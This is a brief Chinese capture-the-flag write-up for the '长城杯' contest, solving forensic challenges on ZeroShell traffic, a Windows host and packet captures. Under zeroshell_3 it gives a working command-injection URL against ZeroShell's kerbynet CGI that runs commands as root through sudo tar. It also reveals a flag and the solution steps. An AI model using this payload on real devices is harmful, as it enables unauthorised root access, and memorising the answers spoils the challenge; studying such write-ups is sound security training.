长城杯

zeroshell_1

flag的base64是ZmxhZw==查找字符串Zmxh

http.referer == "ZmxhZ3s2QzJFMzhEQS1EOEU0LThEODQtNEE0Ri1FMkFCRDA3QTFGM0F9"

解码得到flag

zeroshell_2

上网搜到zeroshell POC，以及明文的管理员账号密码(流量包里也有)

直接查看flag文件就行（或者虚拟机里 cat /flag）

zeroshell_3

查看主机的外联服务器的所有TCP，UDP，IP和进程使用

payload打

http://61.139.2.100//cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='netstat%20-ano%20'%0A'

或者虚拟机找

netstat -ano

WinFT_1

打开火绒剑->网络 看到爆红文件 拖到微步云沙箱检测

将fluv文件后面的ip填上 得到完整的flag

WinFT_2

找到任务计划书 得到base64 解码

WinFT_5

流量包里找到flag.txt提取压缩包，解码压缩包末尾的base64得到压缩包密码

解压缩得到flag

sc05_1

根据提示 查找对应ip的请求时间

转换格式到大写md5 就是flag